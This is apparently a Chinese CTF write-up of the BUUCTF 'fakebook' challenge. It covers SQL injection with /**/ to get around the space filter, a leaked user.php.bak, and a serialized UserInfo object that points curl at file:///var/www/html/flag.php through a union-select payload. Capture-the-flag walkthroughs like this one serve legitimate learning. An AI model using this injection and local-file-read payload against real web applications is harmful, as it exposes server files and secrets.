zoukankan      html  css  js  c++  java
  • buuctf fakebook

    萌新第一次尝试ssrf。

     先尝试一下存不存在sql注入漏洞,然后发现不存在。。

    没办法,登陆上去看一眼吧。

    发现url有点不对劲

    http://e6fc16c8-ded1-4377-83a2-b9f5b4aef018.node3.buuoj.cn/view.php?no=1

    马上猜测no这里有问题,尝试搞事情

    http://e6fc16c8-ded1-4377-83a2-b9f5b4aef018.node3.buuoj.cn/view.php?no=0

     直接爆出了绝对路径。

    然后尝试sql注入,发现真的存在注入漏洞,兴奋。然后fuzz发现,空格被过滤,但是没有关系可以用/**/绕过。然后不会了。。

    然后扫目录扫出了user.php.bak 和 flag.php

    很明显flag.php中有flag,直接访问,无果,放弃。下载user.php

    <?php
    
    
    class UserInfo
    {
        public $name = "";
        public $age = 0;
        public $blog = "";
    
        public function __construct($name, $age, $blog)
        {
            $this->name = $name;
            $this->age = (int)$age;
            $this->blog = $blog;
        }
    
        function get($url)
        {
            $ch = curl_init();// 创建一个新cURL资源
    
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            
            // 抓取URL并把它传递给浏览器
            $output = curl_exec($ch);
            $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            if($httpCode == 404) {
                return 404;
            }
            curl_close($ch);// 关闭cURL资源,并且释放系统资源
    
            return $output;
        }
    
        public function getBlogContents ()
        {
            return $this->get($this->blog);
        }
    
        public function isValidBlog ()
        {
            $blog = $this->blog;
            return preg_match("/^(((http(s?))://)?)([0-9a-zA-Z-]+.)+[a-zA-Z]{2,6}(:[0-9]+)?(/S*)?$/i", $blog);
        }
    
    }

    看到curl直接傻了。没办法,直接看wp吧。

     看到红框中的报错发现这里有反序列化漏洞。

    大佬说我们填写的blog会被反序列化之后调用get方法(毕竟只有curl跟网址有关)

    用户在注册填的blog会调用get()函数使用curl发起网络请求获得blog内容并显示出来,这里因为curl_exec()使用不当造成SSRF(服务器端请求伪造)。想着在注册的时候直接利用SSRF漏洞读flag.php,但是不可行,因为注册的时候限制了http(s)协议。所以只有利用我们的sql注入漏洞。

    重点:curl是支持file的,所以我们可以利用file进行文件读取。

    <?php
    
    class UserInfo
    {
        public $name="test";
        public $age=12;
        public $blog="file:///var/www/html/flag.php";
        
        
    }
    
    $data = new UserInfo();
    echo serialize($data);

    获得payload =

     

     然后http://e6fc16c8-ded1-4377-83a2-b9f5b4aef018.node3.buuoj.cn/view.php?no=0/**/union/**/select/**/1,2,3,%27O:8:"UserInfo":3:{s:4:"name";s:4:"test";s:3:"age";i:12;s:4:"blog";s:29:"file:///var/www/html/flag.php";}%27

    找到藏在f12中的flag

    data:text/html;base64,PD9waHANCg0KJGZsYWcgPSAiZmxhZ3s5NTYxYTc5YS0xNDUyLTRhOWQtODliNS04YTA2YmM0NTBiZTN9IjsNCmV4aXQoMCk7DQo=

    然后base64解码得到flag

  • 相关阅读:
    js正则表达式
    js遍历对象属性
    C# 带Cookies发送请求
    C# Cookies设置和读取
    C# ref 和 out 的使用
    jq 禁用复选框 和输入框
    C++学习之嵌套类和局部类
    C++学习之this指针
    C++学习之运算符重载的总结
    Labview中引用,属性节点,局部变量之间的区别
  • 原文地址:https://www.cnblogs.com/cioi/p/11930866.html
Copyright © 2011-2022 走看看